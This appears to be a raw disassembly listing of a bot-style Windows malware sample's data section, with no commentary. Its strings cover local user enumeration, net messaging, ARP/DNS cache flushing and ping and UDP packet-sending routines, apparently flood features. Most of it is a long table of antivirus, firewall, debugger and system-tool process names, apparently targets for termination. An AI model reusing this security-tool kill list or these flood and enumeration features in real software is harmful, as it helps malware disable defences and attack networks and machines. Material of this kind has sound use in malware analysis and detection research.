align 10h
; char aAccountS[]
aAccountS db 'Account: %S',0 ; DATA XREF: sub_407BAB+50o
; char aTotalUsersFoun[]
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_407F79+14Fo
align 4
; char aNetAnAccessVio[]
aNetAnAccessVio db '[NET]: An access violation has occured.',0 ; DATA XREF: sub_407F79+F7o
; char aS_4[]
aS_4 db ' %S',0 ; DATA XREF: sub_407F79+BEo
align 4
; char aNetUserListErr[]
aNetUserListErr db '[NET]: User list error: %s <%ld>',0 ; DATA XREF: sub_407F79+7Ao
align 4
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_407F79+29o
; char aNetworkConnect[]
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4080F9:loc_408216o
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4080F9:loc_40820Fo
align 10h
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4080F9:loc_408208o
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4080F9:loc_408201o
align 4
aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_4080F9:loc_4081FAo
align 10h
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_4080F9:loc_4081DDo
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4080F9:loc_4081D6o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4080F9:loc_4081CFo
align 4
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_4080F9+CFo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_4080F9:loc_4081A4o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4080F9:loc_40819Do
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_4080F9:loc_408196o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4080F9:loc_40818Co
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4080F9+89o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4080F9:loc_408166o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4080F9:loc_40815Co
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4080F9:loc_408152o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_4080F9:loc_408148o
align 10h
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4080F9:loc_40813Eo
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4080F9+3Bo
align 4
; char aNetSServerSMes[]
aNetSServerSMes db '[NET]: %s <Server: %S> <Message: %S>',0 ; DATA XREF: sub_40822D+ABo
align 4
; char aNetMessageSent[]
aNetMessageSent db '[NET]: Message sent successfully.',0 ; DATA XREF: sub_40822D+81o
align 4
aFlushdnsNotSup db '[FLUSHDNS]: Not supported by this system.',0
; DATA XREF: sub_408323:loc_4083E2o
align 4
; char aFlushdnsUnable[]
aFlushdnsUnable db '[FLUSHDNS]: Unable to allocation ARP cache.',0
; DATA XREF: sub_408323:loc_4083B0o
aFlushdnsArpCac db '[FLUSHDNS]: ARP cache is empty.',0 ; DATA XREF: sub_408323:loc_40837Co
; char aFlushdnsErrorG[]
aFlushdnsErrorG db '[FLUSHDNS]: Error getting ARP cache: <%d>.',0
; DATA XREF: sub_408323+49o
align 4
; char aPingFinishedSe[]
aPingFinishedSe db '[PING]: Finished sending pings to %s.',0 ; DATA XREF: sub_4084A7+13Co
align 4
; char aPingErrorSendi[]
aPingErrorSendi db '[PING]: Error sending pings to %s.',0 ; DATA XREF: sub_4084A7+6Eo
align 4
; char aUdpFinishedSen[]
aUdpFinishedSen db '[UDP]: Finished sending packets to %s.',0 ; DATA XREF: sub_408633+1C6o
align 10h
; char aUdpErrorSendin[]
aUdpErrorSendin db '[UDP]: Error sending pings to %s.',0 ; DATA XREF: sub_408633+8Eo
align 4
dword_421F04 dd 7530h ; DATA XREF: sub_408BF8+12r
off_421F08 dd offset aAckwin32_exe ; DATA XREF: sub_4088B4+CBo
; "ACKWIN32.EXE"
dd offset aAdaware_exe ; "ADAWARE.EXE"
dd offset aAdvxdwin_exe ; "ADVXDWIN.EXE"
dd offset aAgentsvr_exe ; "AGENTSVR.EXE"
dd offset aAgentw_exe ; "AGENTW.EXE"
dd offset aAlertsvc_exe ; "ALERTSVC.EXE"
dd offset aAlevir_exe ; "ALEVIR.EXE"
dd offset aAlogserv_exe ; "ALOGSERV.EXE"
dd offset aAmon9x_exe ; "AMON9X.EXE"
dd offset aAntiTrojan_exe ; "ANTI-TROJAN.EXE"
dd offset aAntivirus_exe ; "ANTIVIRUS.EXE"
dd offset aAnts_exe ; "ANTS.EXE"
dd offset aApimonitor_exe ; "APIMONITOR.EXE"
dd offset aAplica32_exe ; "APLICA32.EXE"
dd offset aApvxdwin_exe ; "APVXDWIN.EXE"
dd offset aArr_exe ; "ARR.EXE"
dd offset aAtcon_exe ; "ATCON.EXE"
dd offset aAtguard_exe ; "ATGUARD.EXE"
dd offset aAtro55en_exe ; "ATRO55EN.EXE"
dd offset aAtupdater_exe ; "ATUPDATER.EXE"
dd offset aAtupdater_exe ; "ATUPDATER.EXE"
dd offset aAtwatch_exe ; "ATWATCH.EXE"
dd offset aAu_exe ; "AU.EXE"
dd offset aAupdate_exe ; "AUPDATE.EXE"
dd offset aAupdate_exe ; "AUPDATE.EXE"
dd offset aAutodown_exe ; "AUTODOWN.EXE"
dd offset aAutodown_exe ; "AUTODOWN.EXE"
dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
dd offset aAvconsol_exe ; "AVCONSOL.EXE"
dd offset aAve32_exe ; "AVE32.EXE"
dd offset aAvgcc32_exe ; "AVGCC32.EXE"
dd offset aAvgctrl_exe ; "AVGCTRL.EXE"
dd offset aAvgnt_exe ; "AVGNT.EXE"
dd offset aAvgserv_exe ; "AVGSERV.EXE"
dd offset aAvgserv9_exe ; "AVGSERV9.EXE"
dd offset aAvguard_exe ; "AVGUARD.EXE"
dd offset aAvgw_exe ; "AVGW.EXE"
dd offset aAvkpop_exe ; "AVKPOP.EXE"
dd offset aAvkserv_exe ; "AVKSERV.EXE"
dd offset aAvkservice_exe ; "AVKSERVICE.EXE"
dd offset aAvkwctl9_exe ; "AVKWCTl9.EXE"
dd offset aAvltmain_exe ; "AVLTMAIN.EXE"
dd offset aAvnt_exe ; "AVNT.EXE"
dd offset aAvp_exe ; "AVP.EXE"
dd offset aAvp32_exe ; "AVP32.EXE"
dd offset aAvpcc_exe ; "AVPCC.EXE"
dd offset aAvpdos32_exe ; "AVPDOS32.EXE"
dd offset aAvpm_exe ; "AVPM.EXE"
dd offset aAvptc32_exe ; "AVPTC32.EXE"
dd offset aAvpupd_exe ; "AVPUPD.EXE"
dd offset aAvpupd_exe ; "AVPUPD.EXE"
dd offset aAvsched32_exe ; "AVSCHED32.EXE"
dd offset aAvsynmgr_exe ; "AVSYNMGR.EXE"
dd offset aAvwin95_exe ; "AVWIN95.EXE"
dd offset aAvwinnt_exe ; "AVWINNT.EXE"
dd offset aAvwupd_exe ; "AVWUPD.EXE"
dd offset aAvwupd32_exe ; "AVWUPD32.EXE"
dd offset aAvwupd32_exe ; "AVWUPD32.EXE"
dd offset aAvwupsrv_exe ; "AVWUPSRV.EXE"
dd offset aAvxmonitor9x_e ; "AVXMONITOR9X.EXE"
dd offset aAvxmonitornt_e ; "AVXMONITORNT.EXE"
dd offset aAvxquar_exe ; "AVXQUAR.EXE"
dd offset aAvxquar_exe ; "AVXQUAR.EXE"
dd offset aBackweb_exe ; "BACKWEB.EXE"
dd offset aBargains_exe ; "BARGAINS.EXE"
dd offset aBd_professiona ; "BD_PROFESSIONAL.EXE"
dd offset aBeagle_exe ; "BEAGLE.EXE"
dd offset aBelt_exe ; "BELT.EXE"
dd offset aBidef_exe ; "BIDEF.EXE"
dd offset aBidserver_exe ; "BIDSERVER.EXE"
dd offset aBipcp_exe ; "BIPCP.EXE"
dd offset aBipcpevalsetup ; "BIPCPEVALSETUP.EXE"
dd offset aBisp_exe ; "BISP.EXE"
dd offset aBlackd_exe ; "BLACKD.EXE"
dd offset aBlackice_exe ; "BLACKICE.EXE"
dd offset aBlss_exe ; "BLSS.EXE"
dd offset aBootconf_exe ; "BOOTCONF.EXE"
dd offset aBootwarn_exe ; "BOOTWARN.EXE"
dd offset aBorg2_exe ; "BORG2.EXE"
dd offset aBpc_exe ; "BPC.EXE"
dd offset aBrasil_exe ; "BRASIL.EXE"
dd offset aBs120_exe ; "BS120.EXE"
dd offset aBundle_exe ; "BUNDLE.EXE"
dd offset aBvt_exe ; "BVT.EXE"
dd offset aCcapp_exe ; "CCAPP.EXE"
dd offset aCcevtmgr_exe ; "CCEVTMGR.EXE"
dd offset aCcpxysvc_exe ; "CCPXYSVC.EXE"
dd offset aCdp_exe ; "CDP.EXE"
dd offset aCfd_exe ; "CFD.EXE"
dd offset aCfgwiz_exe ; "CFGWIZ.EXE"
dd offset aCfiadmin_exe ; "CFIADMIN.EXE"
dd offset aCfiaudit_exe ; "CFIAUDIT.EXE"
dd offset aCfiaudit_exe ; "CFIAUDIT.EXE"
dd offset aCfinet_exe ; "CFINET.EXE"
dd offset aCfinet32_exe ; "CFINET32.EXE"
dd offset aClaw95cf_exe ; "CLAW95CF.EXE"
dd offset aClean_exe ; "CLEAN.EXE"
dd offset aCleaner_exe ; "CLEANER.EXE"
dd offset aCleaner3_exe ; "CLEANER3.EXE"
dd offset aCleanpc_exe ; "CLEANPC.EXE"
dd offset aClick_exe ; "CLICK.EXE"
dd offset aCmd32_exe ; "CMD32.EXE"
dd offset aCmesys_exe ; "CMESYS.EXE"
dd offset aCmgrdian_exe ; "CMGRDIAN.EXE"
dd offset aCmon016_exe ; "CMON016.EXE"
dd offset aConnectionmoni ; "CONNECTIONMONITOR.EXE"
dd offset aCpd_exe ; "CPD.EXE"
dd offset aCpf9x206_exe ; "CPF9X206.EXE"
dd offset aCpfnt206_exe ; "CPFNT206.EXE"
dd offset aCtrl_exe ; "CTRL.EXE"
dd offset aCv_exe ; "CV.EXE"
dd offset aCwnb181_exe ; "CWNB181.EXE"
dd offset aCwntdwmo_exe ; "CWNTDWMO.EXE"
dd offset aClaw95_exe ; "Claw95.EXE"
dd offset aClaw95cf_exe ; "CLAW95CF.EXE"
dd offset aDatemanager_ex ; "DATEMANAGER.EXE"
dd offset aDcomx_exe ; "DCOMX.EXE"
dd offset aDefalert_exe ; "DEFALERT.EXE"
dd offset aDefscangui_exe ; "DEFSCANGUI.EXE"
dd offset aDefwatch_exe ; "DEFWATCH.EXE"
dd offset aDeputy_exe ; "DEPUTY.EXE"
dd offset aDivx_exe ; "DIVX.EXE"
dd offset aDllcache_exe ; "DLLCACHE.EXE"
dd offset aDllreg_exe ; "DLLREG.EXE"
dd offset aDoors_exe ; "DOORS.EXE"
dd offset aDpf_exe ; "DPF.EXE"
dd offset aDpfsetup_exe ; "DPFSETUP.EXE"
dd offset aDpps2_exe ; "DPPS2.EXE"
dd offset aDrwatson_exe ; "DRWATSON.EXE"
dd offset aDrweb32_exe ; "DRWEB32.EXE"
dd offset aDrwebupw_exe ; "DRWEBUPW.EXE"
dd offset aDssagent_exe ; "DSSAGENT.EXE"
dd offset aDvp95_exe ; "DVP95.EXE"
dd offset aDvp95_0_exe ; "DVP95_0.EXE"
dd offset aEcengine_exe ; "ECENGINE.EXE"
dd offset aEfpeadm_exe ; "EFPEADM.EXE"
dd offset aEmsw_exe ; "EMSW.EXE"
dd offset aEnt_exe ; "ENT.EXE"
dd offset aEsafe_exe ; "ESAFE.EXE"
dd offset aEscanh95_exe ; "ESCANH95.EXE"
dd offset aEscanhnt_exe ; "ESCANHNT.EXE"
dd offset aEscanv95_exe ; "ESCANV95.EXE"
dd offset aEspwatch_exe ; "ESPWATCH.EXE"
dd offset aEthereal_exe ; "ETHEREAL.EXE"
dd offset aEtrustcipe_exe ; "ETRUSTCIPE.EXE"
dd offset aEvpn_exe ; "EVPN.EXE"
dd offset aExantivirusCne ; "EXANTIVIRUS-CNET.EXE"
dd offset aExe_avxw_exe ; "EXE.AVXW.EXE"
dd offset aExpert_exe ; "EXPERT.EXE"
dd offset aExplore_exe ; "EXPLORE.EXE"
dd offset aFAgnt95_exe ; "F-AGNT95.EXE"
dd offset aFProt_exe ; "F-PROT.EXE"
dd offset aFProt95_exe ; "F-PROT95.EXE"
dd offset aFStopw_exe ; "F-STOPW.EXE"
dd offset aFameh32_exe ; "FAMEH32.EXE"
dd offset aFast_exe ; "FAST.EXE"
dd offset aFch32_exe ; "FCH32.EXE"
dd offset aFih32_exe ; "FIH32.EXE"
dd offset aFindviru_exe ; "FINDVIRU.EXE"
dd offset aFirewall_exe ; "FIREWALL.EXE"
dd offset aFlowprotector_ ; "FLOWPROTECTOR.EXE"
dd offset aFnrb32_exe ; "FNRB32.EXE"
dd offset aFpWin_exe ; "FP-WIN.EXE"
dd offset aFpWin_trial_ex ; "FP-WIN_TRIAL.EXE"
dd offset aFprot_exe ; "FPROT.EXE"
dd offset aFrw_exe ; "FRW.EXE"
dd offset aFsaa_exe ; "FSAA.EXE"
dd offset aFsav_exe ; "FSAV.EXE"
dd offset aFsav32_exe ; "FSAV32.EXE"
dd offset aFsav530stbyb_e ; "FSAV530STBYB.EXE"
dd offset aFsav530wtbyb_e ; "FSAV530WTBYB.EXE"
dd offset aFsav95_exe ; "FSAV95.EXE"
dd offset aFsgk32_exe ; "FSGK32.EXE"
dd offset aFsm32_exe ; "FSM32.EXE"
dd offset aFsma32_exe ; "FSMA32.EXE"
dd offset aFsmb32_exe ; "FSMB32.EXE"
dd offset aGator_exe ; "GATOR.EXE"
dd offset aGbmenu_exe ; "GBMENU.EXE"
dd offset aGbpoll_exe ; "GBPOLL.EXE"
dd offset aGenerics_exe ; "GENERICS.EXE"
dd offset aGmt_exe ; "GMT.EXE"
dd offset aGuard_exe ; "GUARD.EXE"
dd offset aGuarddog_exe ; "GUARDDOG.EXE"
dd offset aHacktracersetu ; "HACKTRACERSETUP.EXE"
dd offset aHbinst_exe ; "HBINST.EXE"
dd offset aHbsrv_exe ; "HBSRV.EXE"
dd offset aHotactio_exe ; "HOTACTIO.EXE"
dd offset aHotpatch_exe ; "HOTPATCH.EXE"
dd offset aHtlog_exe ; "HTLOG.EXE"
dd offset aHtpatch_exe ; "HTPATCH.EXE"
dd offset aHwpe_exe ; "HWPE.EXE"
dd offset aHxdl_exe ; "HXDL.EXE"
dd offset aHxiul_exe ; "HXIUL.EXE"
dd offset aIamapp_exe ; "IAMAPP.EXE"
dd offset aIamserv_exe ; "IAMSERV.EXE"
dd offset aIamstats_exe ; "IAMSTATS.EXE"
dd offset aIbmasn_exe ; "IBMASN.EXE"
dd offset aIbmavsp_exe ; "IBMAVSP.EXE"
dd offset aIcload95_exe ; "ICLOAD95.EXE"
dd offset aIcloadnt_exe ; "ICLOADNT.EXE"
dd offset aIcmon_exe ; "ICMON.EXE"
dd offset aIcsupp95_exe ; "ICSUPP95.EXE"
dd offset aIcsupp95_exe ; "ICSUPP95.EXE"
dd offset aIcsuppnt_exe ; "ICSUPPNT.EXE"
dd offset aIdle_exe ; "IDLE.EXE"
dd offset aIedll_exe ; "IEDLL.EXE"
dd offset aIedriver_exe ; "IEDRIVER.EXE"
dd offset aIexplorer_exe ; "IEXPLORER.EXE"
dd offset aIface_exe ; "IFACE.EXE"
dd offset aIfw2000_exe ; "IFW2000.EXE"
dd offset aInetlnfo_exe ; "INETLNFO.EXE"
dd offset aInfus_exe ; "INFUS.EXE"
dd offset aInfwin_exe ; "INFWIN.EXE"
dd offset aInit_exe ; "INIT.EXE"
dd offset aIntdel_exe ; "INTDEL.EXE"
dd offset aIntren_exe ; "INTREN.EXE"
dd offset aIomon98_exe ; "IOMON98.EXE"
dd offset aIparmor_exe ; "IPARMOR.EXE"
dd offset aIris_exe ; "IRIS.EXE"
dd offset aIsass_exe ; "ISASS.EXE"
dd offset aIsrv95_exe ; "ISRV95.EXE"
dd offset aIstsvc_exe ; "ISTSVC.EXE"
dd offset aJammer_exe ; "JAMMER.EXE"
dd offset aJdbgmrg_exe ; "JDBGMRG.EXE"
dd offset aJedi_exe ; "JEDI.EXE"
dd offset aKavlite40eng_e ; "KAVLITE40ENG.EXE"
dd offset aKavpers40eng_e ; "KAVPERS40ENG.EXE"
dd offset aKavpf_exe ; "KAVPF.EXE"
dd offset aKazza_exe ; "KAZZA.EXE"
dd offset aKeenvalue_exe ; "KEENVALUE.EXE"
dd offset aKerioPf213EnWi ; "KERIO-PF-213-EN-WIN.EXE"
dd offset aKerioWrl421EnW ; "KERIO-WRL-421-EN-WIN.EXE"
dd offset aKerioWrp421EnW ; "KERIO-WRP-421-EN-WIN.EXE"
dd offset aKernel32_exe ; "KERNEL32.EXE"
dd offset aKillprocessset ; "KILLPROCESSSETUP161.EXE"
dd offset aLauncher_exe ; "LAUNCHER.EXE"
dd offset aLdnetmon_exe ; "LDNETMON.EXE"
dd offset aLdpro_exe ; "LDPRO.EXE"
dd offset aLdpromenu_exe ; "LDPROMENU.EXE"
dd offset aLdscan_exe ; "LDSCAN.EXE"
dd offset aLnetinfo_exe ; "LNETINFO.EXE"
dd offset aLoader_exe ; "LOADER.EXE"
dd offset aLocalnet_exe ; "LOCALNET.EXE"
dd offset aLockdown_exe ; "LOCKDOWN.EXE"
dd offset aLockdown2000_e ; "LOCKDOWN2000.EXE"
dd offset aLookout_exe ; "LOOKOUT.EXE"
dd offset aLordpe_exe ; "LORDPE.EXE"
dd offset aLsetup_exe ; "LSETUP.EXE"
dd offset aLuall_exe ; "LUALL.EXE"
dd offset aLuall_exe ; "LUALL.EXE"
dd offset aLuau_exe ; "LUAU.EXE"
dd offset aLucomserver_ex ; "LUCOMSERVER.EXE"
dd offset aLuinit_exe ; "LUINIT.EXE"
dd offset aLuspt_exe ; "LUSPT.EXE"
dd offset aMapisvc32_exe ; "MAPISVC32.EXE"
dd offset aMcagent_exe ; "MCAGENT.EXE"
dd offset aMcmnhdlr_exe ; "MCMNHDLR.EXE"
dd offset aMcshield_exe ; "MCSHIELD.EXE"
dd offset aMctool_exe ; "MCTOOL.EXE"
dd offset aMcupdate_exe ; "MCUPDATE.EXE"
dd offset aMcupdate_exe ; "MCUPDATE.EXE"
dd offset aMcvsrte_exe ; "MCVSRTE.EXE"
dd offset aMcvsshld_exe ; "MCVSSHLD.EXE"
dd offset aMd_exe ; "MD.EXE"
dd offset aMfin32_exe ; "MFIN32.EXE"
dd offset aMfw2en_exe ; "MFW2EN.EXE"
dd offset aMfweng3_02d30_ ; "MFWENG3.02D30.EXE"
dd offset aMgavrtcl_exe ; "MGAVRTCL.EXE"
dd offset aMgavrte_exe ; "MGAVRTE.EXE"
dd offset aMghtml_exe ; "MGHTML.EXE"
dd offset aMgui_exe ; "MGUI.EXE"
dd offset aMinilog_exe ; "MINILOG.EXE"
dd offset aMmod_exe ; "MMOD.EXE"
dd offset aMonitor_exe ; "MONITOR.EXE"
dd offset aMoolive_exe ; "MOOLIVE.EXE"
dd offset aMostat_exe ; "MOSTAT.EXE"
dd offset aMpfagent_exe ; "MPFAGENT.EXE"
dd offset aMpfservice_exe ; "MPFSERVICE.EXE"
dd offset aMpftray_exe ; "MPFTRAY.EXE"
dd offset aMrflux_exe ; "MRFLUX.EXE"
dd offset aMsapp_exe ; "MSAPP.EXE"
dd offset aMsbb_exe ; "MSBB.EXE"
dd offset aMsblast_exe ; "MSBLAST.EXE"
dd offset aMscache_exe ; "MSCACHE.EXE"
dd offset aMsccn32_exe ; "MSCCN32.EXE"
dd offset aMscman_exe ; "MSCMAN.EXE"
dd offset aMsconfig_exe ; "MSCONFIG.EXE"
dd offset aMsdm_exe ; "MSDM.EXE"
dd offset aMsdos_exe ; "MSDOS.EXE"
dd offset aMsiexec16_exe ; "MSIEXEC16.EXE"
dd offset aMsinfo32_exe ; "MSINFO32.EXE"
dd offset aMslaugh_exe ; "MSLAUGH.EXE"
dd offset aMsmgt_exe ; "MSMGT.EXE"
dd offset aMsmsgri32_exe ; "MSMSGRI32.EXE"
dd offset aMssmmc32_exe ; "MSSMMC32.EXE"
dd offset aMssys_exe ; "MSSYS.EXE"
dd offset aMsvxd_exe ; "MSVXD.EXE"
dd offset aMu0311ad_exe ; "MU0311AD.EXE"
dd offset aMwatch_exe ; "MWATCH.EXE"
dd offset aN32scanw_exe ; "N32SCANW.EXE"
dd offset aNav_exe ; "NAV.EXE"
dd offset aAutoProtect_na ; "AUTO-PROTECT.NAV80TRY.EXE"
dd offset aNavap_navapsvc ; "NAVAP.NAVAPSVC.EXE"
dd offset aNavapsvc_exe ; "NAVAPSVC.EXE"
dd offset aNavapw32_exe ; "NAVAPW32.EXE"
dd offset aNavdx_exe ; "NAVDX.EXE"
dd offset aNavengnavex15_ ; "NAVENGNAVEX15.NAVLU32.EXE"
dd offset aNavlu32_exe ; "NAVLU32.EXE"
dd offset aNavnt_exe ; "NAVNT.EXE"
dd offset aNavstub_exe ; "NAVSTUB.EXE"
dd offset aNavw32_exe ; "NAVW32.EXE"
dd offset aNavwnt_exe ; "NAVWNT.EXE"
dd offset aNc2000_exe ; "NC2000.EXE"
dd offset aNcinst4_exe ; "NCINST4.EXE"
dd offset aNdd32_exe ; "NDD32.EXE"
dd offset aNeomonitor_exe ; "NEOMONITOR.EXE"
dd offset aNeowatchlog_ex ; "NEOWATCHLOG.EXE"
dd offset aNetarmor_exe ; "NETARMOR.EXE"
dd offset aNetd32_exe ; "NETD32.EXE"
dd offset aNetinfo_exe ; "NETINFO.EXE"
dd offset aNetmon_exe ; "NETMON.EXE"
dd offset aNetscanpro_exe ; "NETSCANPRO.EXE"
dd offset aNetspyhunter1_ ; "NETSPYHUNTER-1.2.EXE"
dd offset aNetstat_exe ; "NETSTAT.EXE"
dd offset aNetutils_exe ; "NETUTILS.EXE"
dd offset aNisserv_exe ; "NISSERV.EXE"
dd offset aNisum_exe ; "NISUM.EXE"
dd offset aNmain_exe ; "NMAIN.EXE"
dd offset aNod32_exe ; "NOD32.EXE"
dd offset aNormist_exe ; "NORMIST.EXE"
dd offset aNorton_interne ; "NORTON_INTERNET_SECU_3.0_407.EXE"
dd offset aNotstart_exe ; "NOTSTART.EXE"
dd offset aNpf40_tw_98_nt ; "NPF40_TW_98_NT_ME_2K.EXE"
dd offset aNpfmessenger_e ; "NPFMESSENGER.EXE"
dd offset aNprotect_exe ; "NPROTECT.EXE"
dd offset aNpscheck_exe ; "NPSCHECK.EXE"
dd offset aNpssvc_exe ; "NPSSVC.EXE"
dd offset aNsched32_exe ; "NSCHED32.EXE"
dd offset aNssys32_exe ; "NSSYS32.EXE"
dd offset aNstask32_exe ; "NSTASK32.EXE"
dd offset aNsupdate_exe ; "NSUPDATE.EXE"
dd offset aNt_exe ; "NT.EXE"
dd offset aNtrtscan_exe ; "NTRTSCAN.EXE"
dd offset aNtvdm_exe ; "NTVDM.EXE"
dd offset aNtxconfig_exe ; "NTXconfig.EXE"
dd offset aNui_exe ; "NUI.EXE"
dd offset aNupgrade_exe ; "NUPGRADE.EXE"
dd offset aNupgrade_exe ; "NUPGRADE.EXE"
dd offset aNvarch16_exe ; "NVARCH16.EXE"
dd offset aNvc95_exe ; "NVC95.EXE"
dd offset aNvsvc32_exe ; "NVSVC32.EXE"
dd offset aNwinst4_exe ; "NWINST4.EXE"
dd offset aNwservice_exe ; "NWSERVICE.EXE"
dd offset aNwtool16_exe ; "NWTOOL16.EXE"
dd offset aOllydbg_exe ; "OLLYDBG.EXE"
dd offset aOnsrvr_exe ; "ONSRVR.EXE"
dd offset aOptimize_exe ; "OPTIMIZE.EXE"
dd offset aOstronet_exe ; "OSTRONET.EXE"
dd offset aOtfix_exe ; "OTFIX.EXE"
dd offset aOutpost_exe ; "OUTPOST.EXE"
dd offset aOutpost_exe ; "OUTPOST.EXE"
dd offset aOutpostinstall ; "OUTPOSTINSTALL.EXE"
dd offset aOutpostproinst ; "OUTPOSTPROINSTALL.EXE"
dd offset aPadmin_exe ; "PADMIN.EXE"
dd offset aPanixk_exe ; "PANIXK.EXE"
dd offset aPatch_exe ; "PATCH.EXE"
dd offset aPavcl_exe ; "PAVCL.EXE"
dd offset aPavproxy_exe ; "PAVPROXY.EXE"
dd offset aPavsched_exe ; "PAVSCHED.EXE"
dd offset aPavw_exe ; "PAVW.EXE"
dd offset aPcc2002s902_ex ; "PCC2002S902.EXE"
dd offset aPcc2k_76_1436_ ; "PCC2K_76_1436.EXE"
dd offset aPcciomon_exe ; "PCCIOMON.EXE"
dd offset aPccntmon_exe ; "PCCNTMON.EXE"
dd offset aPccwin97_exe ; "PCCWIN97.EXE"
dd offset aPccwin98_exe ; "PCCWIN98.EXE"
dd offset aPcdsetup_exe ; "PCDSETUP.EXE"
dd offset aPcfwallicon_ex ; "PCFWALLICON.EXE"
dd offset aPcip10117_0_ex ; "PCIP10117_0.EXE"
dd offset aPcscan_exe ; "PCSCAN.EXE"
dd offset aPdsetup_exe ; "PDSETUP.EXE"
dd offset aPenis_exe ; "PENIS.EXE"
dd offset aPeriscope_exe ; "PERISCOPE.EXE"
dd offset aPersfw_exe ; "PERSFW.EXE"
dd offset aPerswf_exe ; "PERSWF.EXE"
dd offset aPf2_exe ; "PF2.EXE"
dd offset aPfwadmin_exe ; "PFWADMIN.EXE"
dd offset aPgmonitr_exe ; "PGMONITR.EXE"
dd offset aPingscan_exe ; "PINGSCAN.EXE"
dd offset aPlatin_exe ; "PLATIN.EXE"
dd offset aPop3trap_exe ; "POP3TRAP.EXE"
dd offset aPoproxy_exe ; "POPROXY.EXE"
dd offset aPopscan_exe ; "POPSCAN.EXE"
dd offset aPortdetective_ ; "PORTDETECTIVE.EXE"
dd offset aPortmonitor_ex ; "PORTMONITOR.EXE"
dd offset aPowerscan_exe ; "POWERSCAN.EXE"
dd offset aPpinupdt_exe ; "PPINUPDT.EXE"
dd offset aPptbc_exe ; "PPTBC.EXE"
dd offset aPpvstop_exe ; "PPVSTOP.EXE"
dd offset aPrizesurfer_ex ; "PRIZESURFER.EXE"
dd offset aPrmt_exe ; "PRMT.EXE"
dd offset aPrmvr_exe ; "PRMVR.EXE"
dd offset aProcdump_exe ; "PROCDUMP.EXE"
dd offset aProcessmonitor ; "PROCESSMONITOR.EXE"
dd offset aProcexplorerv1 ; "PROCEXPLORERV1.0.EXE"
dd offset aProgramauditor ; "PROGRAMAUDITOR.EXE"
dd offset aProport_exe ; "PROPORT.EXE"
dd offset aProtectx_exe ; "PROTECTX.EXE"
dd offset aPspf_exe ; "PSPF.EXE"
dd offset aPurge_exe ; "PURGE.EXE"
dd offset aPussy_exe ; "PUSSY.EXE"
dd offset aPview95_exe ; "PVIEW95.EXE"
dd offset aQconsole_exe ; "QCONSOLE.EXE"
dd offset aQserver_exe ; "QSERVER.EXE"
dd offset aRapapp_exe ; "RAPAPP.EXE"
dd offset aRav7_exe ; "RAV7.EXE"
dd offset aRav7win_exe ; "RAV7WIN.EXE"
dd offset aRav8win32eng_e ; "RAV8WIN32ENG.EXE"
dd offset aRay_exe ; "RAY.EXE"
dd offset aRb32_exe ; "RB32.EXE"
dd offset aRcsync_exe ; "RCSYNC.EXE"
dd offset aRealmon_exe ; "REALMON.EXE"
dd offset aReged_exe ; "REGED.EXE"
dd offset aRegedit_exe ; "REGEDIT.EXE"
dd offset aRegedt32_exe ; "REGEDT32.EXE"
dd offset aRescue_exe ; "RESCUE.EXE"
dd offset aRescue32_exe ; "RESCUE32.EXE"
dd offset aRrguard_exe ; "RRGUARD.EXE"
dd offset aRshell_exe ; "RSHELL.EXE"
dd offset aRtvscan_exe ; "RTVSCAN.EXE"
dd offset aRtvscn95_exe ; "RTVSCN95.EXE"
dd offset aRulaunch_exe ; "RULAUNCH.EXE"
dd offset aRun32dll_exe ; "RUN32DLL.EXE"
dd offset aRundll_exe ; "RUNDLL.EXE"
dd offset aRundll16_exe ; "RUNDLL16.EXE"
dd offset aRuxdll32_exe ; "RUXDLL32.EXE"
dd offset aSafeweb_exe ; "SAFEWEB.EXE"
dd offset aSahagent_exe ; "SAHAGENT.EXE"
dd offset aSave_exe ; "SAVE.EXE"
dd offset aSavenow_exe ; "SAVENOW.EXE"
dd offset aSbserv_exe ; "SBSERV.EXE"
dd offset aSc_exe ; "SC.EXE"
dd offset aScam32_exe ; "SCAM32.EXE"
dd offset aScan32_exe ; "SCAN32.EXE"
dd offset aScan95_exe ; "SCAN95.EXE"
dd offset aScanpm_exe ; "SCANPM.EXE"
dd offset aScrscan_exe ; "SCRSCAN.EXE"
dd offset aScrsvr_exe ; "SCRSVR.EXE"
dd offset aScvhost_exe ; "SCVHOST.EXE"
dd offset aSd_exe ; "SD.EXE"
dd offset aServ95_exe ; "SERV95.EXE"
dd offset aService_exe ; "SERVICE.EXE"
dd offset aServlce_exe ; "SERVLCE.EXE"
dd offset aServlces_exe ; "SERVLCES.EXE"
dd offset aSetupvameeval_ ; "SETUPVAMEEVAL.EXE"
dd offset aSetup_flowprot ; "SETUP_FLOWPROTECTOR_US.EXE"
dd offset aSfc_exe ; "SFC.EXE"
dd offset aSgssfw32_exe ; "SGSSFW32.EXE"
dd offset aSh_exe ; "SH.EXE"
dd offset aShellspyinstal ; "SHELLSPYINSTALL.EXE"
